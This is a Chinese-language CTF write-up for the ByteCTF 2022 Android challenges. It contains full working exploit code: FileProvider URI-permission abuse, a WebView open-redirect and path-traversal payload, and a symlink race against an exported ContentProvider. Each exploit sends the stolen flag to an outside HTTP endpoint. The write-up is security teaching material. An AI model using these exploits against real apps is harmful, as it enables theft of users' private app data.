Android
这次 ByteCTF 2022 AK 了 Android 方向的题目,其中 Gold Droid
为一血且一解,可能是 Google 上没有相关资料,且代码内容为 Google 官方示例,通过自行思考并解决还是比较开心的~
本次有些内容与去年的比赛相关,这里不再赘述,可以参考之前的 Writeup
解题目标说明
- Bronze Droid:提供一个 APP,远程安装并运行我们提供的 APP,要求窃取到目标应用私有目录下的 flag 文件
- Silver Droid:提供一个 链接,要求窃取到目标应用私有目录下的 flag 文件
- Gold Droid:提供一个 APP,远程安装并运行我们提供的 APP,要求窃取到目标应用私有目录下的 flag 文件
Bronze Droid
让目标授权我们读取 flag,有点坑的地方是访问目录从根目录开始
public void httpGet(String msg) {
new Thread(new Runnable() {
@Override
public void run() {
HttpURLConnection connection = null;
BufferedReader reader = null;
try {
URL url = new URL("http://IP:PORT/flag?flag=" + msg);
connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
}
@RequiresApi(api = Build.VERSION_CODES.Q)
private String readUri(Uri uri) {
InputStream inputStream = null;
try {
ContentResolver contentResolver = getContentResolver();
inputStream = contentResolver.openInputStream(uri);
if (inputStream != null) {
byte[] buffer = new byte[1024];
int result;
String content = "";
while ((result = inputStream.read(buffer)) != -1) {
content = content.concat(new String(buffer, 0, result));
}
return content;
}
} catch (IOException e) {
Log.e("receiver", "IOException when reading uri", e);
} finally {
if (inputStream != null) {
try {
inputStream.close();
} catch (IOException e) {
Log.e("receiver", "IOException when closing stream", e);
}
}
}
return null;
}
public void poc() {
Intent next = new Intent("ACTION_SHARET_TO_ME");
next.setClassName("com.bytectf.bronzedroid", "com.bytectf.bronzedroid.MainActivity");
Uri myUrl = Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag");
next.setData(myUrl);
next.setClipData(ClipData.newRawUri("", myUrl));
next.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
startActivityForResult(next, 0);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if (resultCode == -1) {
Uri returnUri = data.getData();
httpGet(readUri(returnUri));
}
super.onActivityResult(requestCode, resultCode, data);
}
Silver Droid
题目分析
package com.bytectf.silverdroid;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.HashMap;
public class MainActivity extends AppCompatActivity {
@Override // androidx.fragment.app.FragmentActivity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(0x7F0B001C); // layout:activity_main
Uri uri0 = this.getIntent().getData();
if(uri0 != null) {
WebView webView = new WebView(this.getApplicationContext());
webView.setWebViewClient(new WebViewClient() {
@Override // android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView view, String url) {
try {
Uri uri0 = Uri.parse(url);
Log.e("Hint", "Try to upload your poc on free COS: https://cloud.tencent.com/document/product/436/6240");
if(uri0.getScheme().equals("https")) {
return !uri0.getHost().endsWith(".myqcloud.com");
}
}
catch(Exception unused_ex) {
return;
}
return true;
}
});
webView.setWebViewClient(new WebViewClient() {
@Override // android.webkit.WebViewClient
public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
FileInputStream inputStream;
Uri uri0 = request.getUrl();
if(uri0.getPath().startsWith("/local_cache/")) {
File cacheFile = new File(MainActivity.this.getCacheDir(), uri0.getLastPathSegment());
if(cacheFile.exists()) {
try {
inputStream = new FileInputStream(cacheFile);
}
catch(IOException unused_ex) {
return;
}
HashMap headers = new HashMap();
headers.put("Access-Control-Allow-Origin", "*");
return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);
}
}
return super.shouldInterceptRequest(view, request);
}
});
this.setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url=" + uri0);
}
}
}
题目限制
- 这道题没有给我们执行 APP 的权限,只能够向此 APP 传入一个 URL,通过与
https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url=
拼接得到执行 - 页面读取 GET 参数,判断并跳转到目标页面,禁止了 URL 中存在
myqclound
内容 - shouldOverrideUrlLoading 这里限制了访问页面域名必须是以
.myqcloud.com
结尾,这里开头带有点,难以绕过 - shouldInterceptRequest 检测
/local_cache/
并进行缓存数据读取,存在路径穿越漏洞
跳转页面源码
<h1>jump</h1>
<script>
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
var myurl = getQueryVariable("url").toString().toLowerCase();
if (myurl != 'false' && myurl.length > 1 && myurl.indexOf("myqcloud")==-1) {
window.location.href = myurl;
}
</script>
漏洞利用
- 通过 hint 得知,可以申请腾讯 COS 来绕过程序内对页面的限制,但是如果要跳转执行,还需要绕过页面对
myqcloud
的检测,这里随便选取一个字符 URL 编码即可绕过,访问页面时 Webview 会进行解码 - 在腾讯 COS 上放置我们的代码,并且使用 JS 可以访问
/local_cache/
并被接管,这里存在路径穿越,可以穿越到 flag 并读取 - 使用 IMG 对象把 flag 带出,由于软件要求协议为 https,所以需要在某个有 https 的服务器上接收 flag(查看日志)
EXP
<h1 id="wjh">TEST</h1>
<img id="img" src="" width="300"/><br>
<script>
request_url = "https://xxxxxx.cos-website.ap-shanghai.myqcloud.com/local_cache/%2F..%2Ffiles%2Fflag"
var request = new XMLHttpRequest();
request.open('GET', request_url);
request.onload = function () {
var img = document.getElementById("img");
if (request.readyState === 4 && request.status === 200) {
img.setAttribute("src", "https://blog.wjhwjhn.com/flag?flag=" + request.responseText);
}
//img.setAttribute("src", "https://blog.wjhwjhn.com/flag?flag=" + request.status);
};
request.send(null);
</script>
Gold Droid
题目分析
程序实现了一个 ContentProvider,并且实现了 openFile 功能
package com.bytectf.golddroid;
import android.content.ContentProvider;
import android.content.ContentValues;
import android.database.Cursor;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
public class VulProvider extends ContentProvider {
@Override // android.content.ContentProvider
public int delete(Uri uri, String selection, String[] selectionArgs) {
return 0;
}
@Override // android.content.ContentProvider
public String getType(Uri uri) {
return null;
}
@Override // android.content.ContentProvider
public Uri insert(Uri uri, ContentValues values) {
return null;
}
@Override // android.content.ContentProvider
public boolean onCreate() {
return false;
}
@Override // android.content.ContentProvider
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
File file0 = this.getContext().getExternalFilesDir("sandbox");
File file = new File(this.getContext().getExternalFilesDir("sandbox"), uri.getLastPathSegment());
try {
if(!file.getCanonicalPath().startsWith(file0.getCanonicalPath())) {
throw new IllegalArgumentException();
}
}
catch(IOException unused_ex) {
return;
}
return ParcelFileDescriptor.open(file, 0x10000000);
}
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
return null;
}
@Override // android.content.ContentProvider
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
return 0;
}
}
在 Manifest 中导出了这个类
<?xml version="1.0" encoding="UTF-8"?>
<manifest android:compileSdkVersion="32" android:compileSdkVersionCodename="12" android:versionCode="1" android:versionName="1.0" package="com.bytectf.golddroid" platformBuildVersionCode="32" platformBuildVersionName="12" xmlns:android="http://schemas.android.com/apk/res/android">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="27"/>
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules" android:debuggable="true" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.GoldDroid">
<activity android:exported="true" android:name="com.bytectf.golddroid.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<provider android:authorities="slipme" android:exported="true" android:name="com.bytectf.golddroid.VulProvider"/>
<receiver android:exported="false" android:name="com.bytectf.golddroid.FlagReceiver">
<intent-filter>
<action android:name="com.bytectf.SET_FLAG"/>
</intent-filter>
</receiver>
<provider android:authorities="com.bytectf.golddroid.androidx-startup" android:exported="false" android:name="androidx.startup.InitializationProvider">
<meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
<meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
</provider>
</application>
</manifest>
顺便一提的是,这里的 openFile 写法是 Google 的示例代码 Path Traversal 漏洞
public ParcelFileDescriptor openFile (Uri uri, String mode)
throws FileNotFoundException {
File f = new File(DIR, uri.getLastPathSegment());
if (!f.getCanonicalPath().startsWith(DIR)) {
throw new IllegalArgumentException();
}
return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}
漏洞利用
- 可以通过
getLastPathSegment
产生路径穿越,穿越到其他文件,这里选择穿越到我们的软链接 getCanonicalPath
会读取软链接并且显示真实的地址,所以我们起初可以软链接到sandbox
下的文件,并且通过检测- 通过条件竞争,在通过检测后,
ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY)
前,替换软链接到 flag 文件 - 当返回
ParcelFileDescriptor
为 flag 文件时,我们可以读取 flag 文件并且得到 flag
具体实现
- 线程 1:不断的软链接到
sandbox/file1
- 线程 2:不断的软链接到
flag
- 主线程:不断的调用 openFile 得到
ParcelFileDescriptor
读取文件
EXP
package com.bytectf.pwngolddroid;
import androidx.appcompat.app.AppCompatActivity;
import android.content.ContentResolver;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
public class MainActivity extends AppCompatActivity {
String symlink;
public void httpGet(String msg) {
new Thread(new Runnable() {
@Override
public void run() {
HttpURLConnection connection = null;
BufferedReader reader = null;
try {
URL url = new URL("http://IP:PORT/flag?flag=" + msg);
connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
}
private String readUri(Uri uri) {
InputStream inputStream = null;
try {
ContentResolver contentResolver = getContentResolver();
inputStream = contentResolver.openInputStream(uri);
if (inputStream != null) {
byte[] buffer = new byte[1024];
int result;
String content = "";
while ((result = inputStream.read(buffer)) != -1) {
content = content.concat(new String(buffer, 0, result));
}
return content;
}
} catch (IOException e) {
Log.e("receiver", "IOException when reading uri", e);
} catch (IllegalArgumentException e) {
//Log.e("receiver", "IllegalArgumentException", e);
} finally {
if (inputStream != null) {
try {
inputStream.close();
} catch (IOException e) {
Log.e("receiver", "IOException when closing stream", e);
}
}
}
return null;
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
String root = getApplicationInfo().dataDir;
symlink = root + "/symlink";
try {
Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F" + "data%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink";
new Thread(() -> {
while (true) {
try {
Runtime.getRuntime().exec("ln -sf /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + symlink).waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
new Thread(() -> {
while (true) {
try {
Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + symlink).waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
while (true) {
try {
String data = readUri(Uri.parse(path));
if (data != null)
{
Log.e("WJH", data);
httpGet(data);
}
} catch (Exception e) {
httpGet(e.getMessage());
}
}
}
}